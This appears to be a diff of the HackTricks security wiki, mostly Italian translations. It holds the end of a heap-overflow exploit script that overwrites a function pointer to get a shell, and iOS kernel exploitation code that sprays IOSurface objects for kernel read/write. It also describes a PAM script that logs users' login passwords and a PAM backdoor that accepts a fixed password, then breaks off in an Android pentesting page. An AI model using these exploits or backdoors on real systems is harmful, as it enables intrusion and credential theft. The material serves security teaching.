context.clear(arch='amd64')
BIN = './heap_groom'
def parse_leak(line):
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
if not m:
log.failure("Couldn't parse leak")
sys.exit(1)
return int(m.group(1), 16)
def build_payload(win_addr, extra_pad=0):
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
padding = b'A' * 128
if extra_pad:
padding += b'B' * extra_pad
# Add the win address to overwrite the function pointer
payload = padding + p64(win_addr)
return payload
def main():
# On macOS, we need to disable the Nano zone for adjacent allocations
import os
env = os.environ.copy()
env['MallocNanoZone'] = '0'
# The correct padding with MallocNanoZone=0 is 432 bytes
# This makes the total distance 560 bytes (128 buffer + 432 padding)
# Try the known working value first, then alternatives in case of heap variation
candidates = [
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
424, # Try slightly less in case of alignment differences
440, # Try slightly more
416, # 16 bytes less
448, # 16 bytes more
0, # Direct adjacency (unlikely but worth trying)
]
log.info("Starting heap overflow exploit for macOS...")
for extra in candidates:
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
p = process(BIN, env=env)
# Read leak line
leak_line = p.recvline()
win_addr = parse_leak(leak_line)
log.success(f"win() @ {hex(win_addr)}")
# Skip prompt lines
p.recvuntil(b"Enter payload length")
p.recvline()
# Build and send payload
payload = build_payload(win_addr, extra_pad=extra)
total_len = len(payload)
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
# Send length and payload
p.sendline(str(total_len).encode())
p.send(payload)
# Check if we overwrote the function pointer successfully
try:
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
p.recvline(timeout=0.5) # Skip the "..." part
# Check if we hit win()
response = p.recvline(timeout=0.5)
if b"win() reached" in response:
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
log.success("Shell spawned, entering interactive mode...")
p.interactive()
return
elif b"safe_cb() called" in response:
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
else:
log.info(f"Failed with extra_pad={extra}, unexpected response")
except:
log.info(f"Failed with extra_pad={extra}, likely crashed")
p.close()
log.failure("All padding attempts failed. The heap layout might be different.")
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
if __name__ == '__main__':
main()
```
{{#include ../../banners/hacktricks-training.md}}

215
src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md Normal file
View File

@ -0,0 +1,215 @@
# iOS Physical Use-After-Free via IOSurface
{{#include ../../banners/hacktricks-training.md}}
## Physical use-after-free
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Lo spazio di indirizzamento della memoria virtuale per i processi utente su iOS va da **0x0 a 0x8000000000**. Tuttavia, questi indirizzi non corrispondono direttamente alla memoria fisica. Il **kernel** utilizza invece le **page table** per tradurre gli indirizzi virtuali negli effettivi **indirizzi fisici**.
#### Levels of Page Tables in iOS
Le page table sono organizzate gerarchicamente in tre livelli:
1. **L1 Page Table (Level 1)**:
* Ogni entry qui rappresenta un ampio intervallo di memoria virtuale.
* Copre **0x1000000000 bytes** (o **256 GB**) di memoria virtuale.
2. **L2 Page Table (Level 2)**:
* Un'entry qui rappresenta una regione più piccola di memoria virtuale, specificamente **0x2000000 bytes** (32 MB).
* Un'entry L1 può puntare a una page table L2 se non riesce a mappare l'intera regione da sola.
3. **L3 Page Table (Level 3)**:
* Questo è il livello più fine, dove ogni entry mappa una singola pagina di memoria di **4 KB**.
* Un'entry L2 può puntare a una page table L3 se è necessaria una granularità maggiore.
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
* Alcune entry in una page table mappano direttamente un intervallo di indirizzi virtuali a un intervallo contiguo di indirizzi fisici (come una scorciatoia).
* **Pointer to Child Page Table**:
* Se è necessario un controllo più fine, un'entry a un livello (es. L1) può puntare a una **child page table** al livello successivo (es. L2).
#### Example: Mapping a Virtual Address
Prendiamo l'esempio di accesso all'indirizzo virtuale **0x1000000000**:
1. **L1 Table**:
* Il kernel controlla l'entry della L1 page table corrispondente a questo indirizzo virtuale. Se contiene un **pointer to an L2 page table**, passa a quella L2.
2. **L2 Table**:
* Il kernel controlla la L2 page table per una mappatura più dettagliata. Se questa entry punta a una **L3 page table**, procede lì.
3. **L3 Table**:
* Il kernel consulta la entry finale L3, che punta all'**indirizzo fisico** della pagina di memoria reale.
#### Example of Address Mapping
Se scrivi l'indirizzo fisico **0x800004000** nel primo indice della L2 table, allora:
* Gli indirizzi virtuali da **0x1000000000** a **0x1002000000** vengono mappati agli indirizzi fisici da **0x800004000** a **0x802004000**.
* Questo è un **block mapping** a livello L2.
In alternativa, se l'entry L2 punta a una L3 table:
* Ogni pagina da 4 KB nell'intervallo virtuale **0x1000000000 -> 0x1002000000** sarebbe mappata da singole entry nella L3 table.
### Physical use-after-free
Un **physical use-after-free** (UAF) si verifica quando:
1. Un processo **alloca** della memoria come **readable and writable**.
2. Le **page table** vengono aggiornate per mappare quella memoria a uno specifico indirizzo fisico accessibile al processo.
3. Il processo **dealloca** (libera) la memoria.
4. Tuttavia, a causa di un **bug**, il kernel **dimentica di rimuovere la mappatura** dalle page table, anche se segna la corrispondente memoria fisica come libera.
5. Il kernel può quindi **riallocare questa memoria fisica "liberata"** per altri scopi, come dati del kernel.
6. Poiché la mappatura non è stata rimossa, il processo può ancora **leggere e scrivere** su quella memoria fisica.
Questo significa che il processo può accedere a **pagine di memoria del kernel**, che potrebbero contenere dati o strutture sensibili, permettendo potenzialmente a un attaccante di **manipolare la memoria del kernel**.
### IOSurface Heap Spray
Poiché l'attaccante non può controllare quali pagine del kernel saranno assegnate alla memoria liberata, usa una tecnica chiamata **heap spray**:
1. L'attaccante **crea un gran numero di oggetti IOSurface** nella memoria del kernel.
2. Ogni oggetto IOSurface contiene un **magic value** in uno dei suoi campi, rendendolo facile da identificare.
3. Scansionano le pagine liberate per vedere se uno di questi oggetti IOSurface è stato allocato su una pagina liberata.
4. Quando trovano un oggetto IOSurface su una pagina liberata, possono usarlo per **leggere e scrivere la memoria del kernel**.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
> [!TIP]
> Sii consapevole che i dispositivi iOS 16+ (A12+) introducono mitigazioni hardware (come PPL o SPTM) che rendono le tecniche di physical UAF molto meno praticabili.
> PPL impone protezioni MMU rigide su pagine relative a code signing, entitlements e dati sensibili del kernel: quindi, anche se una pagina viene riutilizzata, le scritture da userland o da codice kernel compromesso verso pagine protette da PPL vengono bloccate.
> Secure Page Table Monitor (SPTM) estende PPL rafforzando gli aggiornamenti delle page table stesse. Garantisce che anche codice kernel privilegiato non possa rimappare silenziosamente pagine liberate o manomettere le mappature senza passare da controlli sicuri.
> KTRR (Kernel Text Read-Only Region) blocca la sezione di codice del kernel come sola lettura dopo il boot. Questo impedisce qualsiasi modifica runtime al codice del kernel, chiudendo un grande vettore d'attacco su cui gli exploit physical UAF spesso fanno affidamento.
> Inoltre, le allocazioni di `IOSurface` sono meno prevedibili e più difficili da mappare in regioni accessibili da userland, il che rende il trucco della "scansione del magic value" molto meno affidabile. E `IOSurface` è ora protetto da entitlements e restrizioni di sandbox.
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: L'attaccante crea molti oggetti IOSurface con un identificatore speciale ("magic value").
2. **Scan Freed Pages**: Controllano se uno degli oggetti è stato allocato su una pagina liberata.
3. **Read/Write Kernel Memory**: Manipolando i campi nell'oggetto IOSurface, ottengono la possibilità di eseguire **arbitrary reads and writes** nella memoria del kernel. Questo permette di:
* Usare un campo per **read any 32-bit value** nella memoria del kernel.
* Usare un altro campo per **write 64-bit values**, ottenendo un primitivo stabile di **kernel read/write**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Cerca oggetti **`IOSurface`** in una pagina fisica liberata:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Ottenere Lettura/Scrittura nel Kernel con IOSurface
Dopo aver ottenuto il controllo di un oggetto IOSurface nella memoria kernel (mappato su una pagina fisica liberata accessibile da userspace), possiamo usarlo per **operazioni arbitrarie di lettura e scrittura nel kernel**.
**Campi chiave in IOSurface**
L'oggetto IOSurface ha due campi cruciali:
1. **Use Count Pointer**: Permette una **lettura a 32 bit**.
2. **Indexed Timestamp Pointer**: Permette una **scrittura a 64 bit**.
Sovrascrivendo questi puntatori, li reindirizziamo verso indirizzi arbitrari nella memoria kernel, abilitando capacità di lettura/scrittura.
#### Lettura a 32 bit nel kernel
Per eseguire una lettura:
1. Sovrascrivi il **use count pointer** affinché punti all'indirizzo di destinazione meno un offset di 0x14 byte.
2. Usa il metodo `get_use_count` per leggere il valore a quell'indirizzo.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### Scrittura kernel a 64 bit
Per effettuare una scrittura:
1. Sovrascrivere il **indexed timestamp pointer** con l'indirizzo di destinazione.
2. Usare il metodo `set_indexed_timestamp` per scrivere un valore a 64 bit.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Flusso dell'exploit (riepilogo)
1. **Trigger Physical Use-After-Free**: Le pagine liberate sono disponibili per il riutilizzo.
2. **Spray IOSurface Objects**: Allocare molti oggetti IOSurface con un unico "magic value" nella memoria kernel.
3. **Identify Accessible IOSurface**: Individuare un IOSurface su una pagina liberata che controlli.
4. **Abuse Use-After-Free**: Modificare i puntatori nell'oggetto IOSurface per abilitare arbitrari **kernel read/write** tramite i metodi IOSurface.
Con queste primitive, l'exploit fornisce **32-bit reads** controllati e **64-bit writes** nella memoria kernel. Passaggi successivi per il jailbreak potrebbero richiedere primitive di read/write più stabili, che potrebbero richiedere il bypass di protezioni aggiuntive (ad es., PPL su dispositivi arm64e più recenti).
{{#include ../../banners/hacktricks-training.md}}

40
src/linux-hardening/linux-post-exploitation/README.md
View File

@ -4,22 +4,22 @@
## Sniffing Logon Passwords with PAM
Configuriamo un modulo PAM per registrare ogni password che ogni utente usa per effettuare il login. Se non sai cos'è PAM controlla:
Configuriamo un modulo PAM per registrare ogni password che gli utenti usano per il login. Se non sai cos'è PAM controlla:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary:
**Per maggiori dettagli consulta il [post originale](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Questa è solo una sintesi:
**Technique Overview:**
Pluggable Authentication Modules (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di login ma presentano anche rischi se usati in modo improprio. Questa sintesi illustra una tecnica per catturare le credenziali di accesso usando PAM, insieme a strategie di mitigazione.
Pluggable Authentication Modules (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di login, ma rappresentano anche un rischio se usati in modo improprio. Questa sintesi descrive una tecnica per catturare credenziali di accesso usando PAM, insieme a strategie di mitigazione.
**Capturing Credentials:**
- Uno script bash chiamato `toomanysecrets.sh` viene creato per registrare i tentativi di login, catturando la data, l'username (`$PAM_USER`), la password (via stdin) e l'IP dell'host remoto (`$PAM_RHOST`) in `/var/log/toomanysecrets.log`.
- Lo script viene reso eseguibile e integrato nella configurazione PAM (`common-auth`) usando il modulo `pam_exec.so` con opzioni per eseguire silenziosamente e esporre il token di autenticazione allo script.
- Lo script viene reso eseguibile e integrato nella configurazione PAM (`common-auth`) usando il modulo `pam_exec.so` con opzioni per eseguire in modo silenzioso e per esporre il token di autenticazione allo script.
- L'approccio dimostra come un host Linux compromesso possa essere sfruttato per registrare le credenziali in modo discreto.
```bash
#!/bin/sh
@ -32,32 +32,32 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Questo è solo un riassunto:
**Per ulteriori dettagli controlla il [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Questa è solo una sintesi:
Il Pluggable Authentication Module (PAM) è un sistema usato su Linux per l'autenticazione degli utenti. Opera su tre concetti principali: **username**, **password**, e **service**. I file di configurazione per ogni service si trovano nella directory `/etc/pam.d/`, dove librerie condivise gestiscono l'autenticazione.
Il Pluggable Authentication Module (PAM) è un sistema usato su Linux per l'autenticazione degli utenti. Opera su tre concetti principali: **username**, **password**, e **service**. I file di configurazione per ogni service si trovano nella directory `/etc/pam.d/`, dove le librerie condivise gestiscono l'autenticazione.
**Obiettivo**: Modificare PAM per permettere l'autenticazione con una password specifica, bypassando la password reale dell'utente. Questo si concentra in particolare sulla libreria condivisa `pam_unix.so` usata dal file `common-auth`, che è inclusa da quasi tutti i servizi per la verifica della password.
**Obiettivo**: Modificare PAM per consentire l'autenticazione con una password specifica, bypassando la password reale dell'utente. Questo è particolarmente focalizzato sulla libreria condivisa `pam_unix.so` usata dal file `common-auth`, che è inclusa da quasi tutti i servizi per la verifica della password.
### Passaggi per modificare `pam_unix.so`:
### Steps for Modifying `pam_unix.so`:
1. **Individua la direttiva di autenticazione** nel file `common-auth`:
- La riga responsabile del controllo della password di un utente invoca `pam_unix.so`.
2. **Modificare il codice sorgente**:
- Aggiungere una condizione nel file sorgente `pam_unix_auth.c` che conceda l'accesso se viene usata una password predefinita; altrimenti prosegua con il normale processo di autenticazione.
3. **Ricompilare e sostituire** la libreria modificata `pam_unix.so` nella directory appropriata.
4. **Test**:
- L'accesso viene concesso su vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i processi di autenticazione normali restano inalterati.
1. **Locate the Authentication Directive** in the `common-auth` file:
- La riga responsabile della verifica della password dell'utente chiama `pam_unix.so`.
2. **Modify Source Code**:
- Aggiungi un'istruzione condizionale nel file sorgente `pam_unix_auth.c` che conceda l'accesso se viene usata una password predefinita; altrimenti procede con il normale processo di autenticazione.
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
4. **Testing**:
- L'accesso viene concesso su vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i normali processi di autenticazione restano inalterati.
> [!TIP]
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
> Puoi automatizzare questo processo con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
## Decriptare loot GPG tramite spostamento dell'homedir
## Decrypting GPG loot via homedir relocation
Se trovi un file cifrato `.gpg` e la cartella `~/.gnupg` di un utente (pubring, private-keys, trustdb) ma non puoi decriptare a causa di permessi/blocchi dell'homedir di GnuPG, copia il keyring in una posizione scrivibile e usalo come GPG home.
Se trovi un file criptato `.gpg` e la cartella `~/.gnupg` di un utente (pubring, private-keys, trustdb) ma non puoi decrittare a causa dei permessi/lock dell'homedir di GnuPG, copia il keyring in una posizione scrivibile e usalo come tuo GPG home.
Errori tipici che vedrai senza questo: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (perché GPG non può leggere/scrivere l'homedir originale).
Gli errori tipici che vedrai senza questa soluzione: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (perché GPG non può leggere/scrivere l'homedir originale).
Flusso di lavoro:
Workflow:
```bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg

519
src/linux-hardening/privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

492
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -1,10 +1,10 @@
# Pentesting di Applicazioni Android
# Android Applications Pentesting
{{#include ../../banners/hacktricks-training.md}}
## Fondamenti delle Applicazioni Android
## Fondamenti delle applicazioni Android
It's highly recommended to start reading this page to know about the **most important parts related to Android security and the most dangerous components in an Android application**:
È altamente consigliato iniziare leggendo questa pagina per conoscere le **parti più importanti relative alla sicurezza di Android e i componenti più pericolosi in un'applicazione Android**:
{{#ref}}
@ -13,15 +13,15 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo android (emulato o fisico).\
**ADB** permette di controllare i dispositivi sia via **USB** che via **rete** da un computer. Questa utility consente la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** dei dati, **lettura** dei log, tra le altre funzioni.
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\
**ADB** permette di controllare i dispositivi sia via **USB** sia via **Network** da un computer. Questa utility consente la **copia** di file in entrambe le direzioni, l'**installazione** e la **disinstallazione** di app, l'**esecuzione** di comandi shell, il **backup** dei dati, la **lettura** dei log, tra le altre funzioni.
Dai un'occhiata alla seguente lista di [**ADB Commands**](adb-commands.md) per imparare come usare adb.
## Smali
A volte è interessante **modificare il codice dell'applicazione** per accedere a **informazioni nascoste** (forse password ben offuscate o flag). In tal caso, può essere utile decompilare l'apk, modificare il codice e ricompilarlo.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Questo può essere molto utile come **alternativa per diversi test durante l'analisi dinamica** che verranno presentati. Quindi, **tieni sempre presente questa possibilità**.
A volte è interessante **modificare il codice dell'applicazione** per accedere a **informazioni nascoste** (forse password ben offuscate o flags). In tal caso, può essere utile decompilare l'apk, modificare il codice e ricompilarlo.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Questo può essere molto utile come **alternativa per diversi test durante la dynamic analysis** che verranno presentati. Quindi, **tieni sempre presente questa possibilità**.
## Altri trucchi interessanti
@ -30,7 +30,7 @@ A volte è interessante **modificare il codice dell'applicazione** per accedere
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Estrarre l'APK dal dispositivo:
- Extract APK from device:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Casi di studio & Vulnerabilità
## Casi di studio e Vulnerabilità
{{#ref}}
@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## Analisi statica
Prima di tutto, per analizzare un APK dovresti **dare un'occhiata al codice Java** usando un decompiler.\
Per favore, [**leggi qui per trovare informazioni sui diversi decompiler disponibili**](apk-decompilers.md).
Prima di tutto, per analizzare un APK dovresti **dare un'occhiata al codice Java** usando un decompilatore.\
Per favore, [**leggi qui per trovare informazioni sui diversi decompilatori disponibili**](apk-decompilers.md).
### Ricerca di informazioni interessanti
Bastano poche osservazioni delle **stringhe** dell'APK per cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** e qualsiasi elemento interessante... cerca anche eventuali **backdoor** di esecuzione di codice o backdoor di autenticazione (credenziali admin hardcoded nell'app).
Solo dando un'occhiata alle **strings** dell'APK puoi cercare **password**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** e qualsiasi cosa interessante... cerca anche eventuali code execution **backdoors** o authentication backdoors (credenziali admin hardcoded nell'app).
**Firebase**
Presta particolare attenzione agli **URL di Firebase** e verifica se è configurato male. [Maggiori informazioni su cos'è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Presta particolare attenzione alle **firebase URLs** e verifica se è male configurato. [Maggiori informazioni su cos'è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Comprensione di base dell'applicazione - Manifest.xml, strings.xml
L'**esame del _Manifest.xml_ e dei file **_strings.xml_** di un'applicazione può rivelare potenziali vulnerabilità di sicurezza**. Questi file possono essere accessi usando decompiler o rinominando l'estensione dell'APK in .zip e poi estraendolo.
L'**esame dei file _Manifest.xml_ e _strings.xml_ di un'applicazione può rivelare potenziali vulnerabilità di sicurezza**. Questi file possono essere accessibili tramite decompiler o rinominando l'estensione dell'APK in .zip e poi estraendolo.
Le **vulnerabilità** identificate dal **Manifest.xml** includono:
**Vulnerabilità** identificate dal **Manifest.xml** includono:
- **Debuggable Applications**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio poiché consentono connessioni che possono portare a sfruttamenti. Per capire meglio come sfruttare applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo.
- **Backup Settings**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che trattano informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando usb debugging è abilitato.
- **Network Security**: Configurazioni di network security personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come certificate pins e impostazioni per il traffico HTTP. Un esempio è permettere traffico HTTP per domini specifici.
- **Exported Activities and Services**: Identificare attività e servizi esportati nel manifest può mettere in evidenza componenti che potrebbero essere abusati. Un'analisi più approfondita durante i test dinamici può rivelare come sfruttare questi componenti.
- **Content Providers and FileProviders**: I content provider esposti potrebbero consentire accesso o modifica non autorizzata dei dati. Anche la configurazione dei FileProvider dovrebbe essere scrupolosamente esaminata.
- **Broadcast Receivers and URL Schemes**: Questi componenti potrebbero essere sfruttati per attacchi, prestando particolare attenzione a come gli schemi URL sono gestiti per possibili vulnerabilità di input.
- **SDK Versions**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, sottolineando l'importanza di non supportare versioni Android obsolete e vulnerabili per ragioni di sicurezza.
- **Debuggable Applications**: Le applicazioni impostate come debuggable (`debuggable="true"`) nel file _Manifest.xml_ rappresentano un rischio in quanto consentono connessioni che possono portare allo sfruttamento. Per comprendere meglio come sfruttare applicazioni debuggable, fai riferimento a un tutorial su come trovare e sfruttare applicazioni debuggable su un dispositivo.
- **Backup Settings**: L'attributo `android:allowBackup="false"` dovrebbe essere impostato esplicitamente per le applicazioni che gestiscono informazioni sensibili per prevenire backup non autorizzati dei dati tramite adb, specialmente quando usb debugging è abilitato.
- **Network Security**: Le configurazioni di network security personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come certificate pins e impostazioni del traffico HTTP. Un esempio è consentire traffico HTTP per domini specifici.
- **Exported Activities and Services**: Identificare le attività e i servizi esportati nel manifest può mettere in evidenza componenti che potrebbero essere abusati. Analisi ulteriori durante il testing dinamico possono rivelare come sfruttare questi componenti.
- **Content Providers and FileProviders**: Content provider esposti potrebbero consentire accesso non autorizzato o la modifica dei dati. Anche la configurazione dei FileProviders deve essere scrutinata.
- **Broadcast Receivers and URL Schemes**: Questi componenti potrebbero essere sfruttati per attacchi, con particolare attenzione a come gli URL schemes sono gestiti per vulnerabilità di input.
- **SDK Versions**: Gli attributi `minSdkVersion`, `targetSDKVersion`, e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza.
Dal file **strings.xml**, possono emergere informazioni sensibili come API keys, custom schemas e altre note degli sviluppatori, evidenziando la necessità di una revisione attenta di queste risorse.
Dal file **strings.xml** si possono scoprire informazioni sensibili come API keys, custom schemas e altre note degli sviluppatori, sottolineando la necessità di una revisione accurata di queste risorse.
### Tapjacking
**Tapjacking** è un attacco dove una **malicious** **application** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre inoltra l'interazione all'app vittima.\
Di fatto, sta **accecando l'utente sul fatto che sta veramente eseguendo azioni sull'app vittima**.
**Tapjacking** è un attacco in cui una **malicious** **application** viene lanciata e **si posiziona sopra un'applicazione vittima**. Quando oscura visibilmente l'app vittima, la sua interfaccia è progettata in modo da indurre l'utente a interagire con essa, mentre inoltra l'interazione all'app vittima.\
Di fatto, sta **annebbiando la percezione dell'utente**, impedendogli di sapere che sta effettivamente eseguendo azioni sull'app vittima.
Trova più informazioni in:
Find more information in:
{{#ref}}
@ -104,89 +104,89 @@ tapjacking.md
### Task Hijacking
Un'**activity** con il **`launchMode`** impostato a **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al Task Hijacking. Questo significa che un'**application** può essere installata e, se lanciata prima della vera applicazione, potrebbe **hijackare il task dell'app reale** (quindi l'utente interagirà con la **malicious application pensando di usare quella reale**).
Un'**activity** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al Task Hijacking. Questo significa che un'**application** può essere installata e se avviata prima dell'app reale potrebbe **hijackare il task dell'app reale** (quindi l'utente interagirà con l'**malicious application** pensando di usare quella reale).
Maggiori informazioni in:
More info in:
{{#ref}}
android-task-hijacking.md
{{#endref}}
### Archiviazione dati insicura
### Archiviazione dati non sicura
**Internal Storage**
In Android, i file **memorizzati** in **internal** storage sono **progettati** per essere accessibili esclusivamente dall'**app** che li ha **creati**. Questa misura di sicurezza è **forzata** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** che i file siano **condivisi** tra diverse applicazioni. Queste modalità **non limitano però l'accesso** a tali file da parte di altre applicazioni, incluse potenzialmente quelle maligne.
In Android, i file archiviati nello storage interno sono progettati per essere accessibili esclusivamente dall'app che li ha creati. Questa misura di sicurezza è applicata dal sistema operativo Android ed è generalmente adeguata per la maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la condivisione di file tra diverse applicazioni. Queste modalità **non limitano l'accesso** a tali file da parte di altre applicazioni, incluse potenzialmente applicazioni malevole.
1. **Analisi statica:**
- **Verifica** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **accuratamente controllato**. Queste modalità **possono potenzialmente esporre** i file a **accessi non intenzionati o non autorizzati**.
- **Verificare** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **attentamente esaminato**. Queste modalità **possono potenzialmente esporre** i file ad accessi non intenzionati o non autorizzati.
2. **Analisi dinamica:**
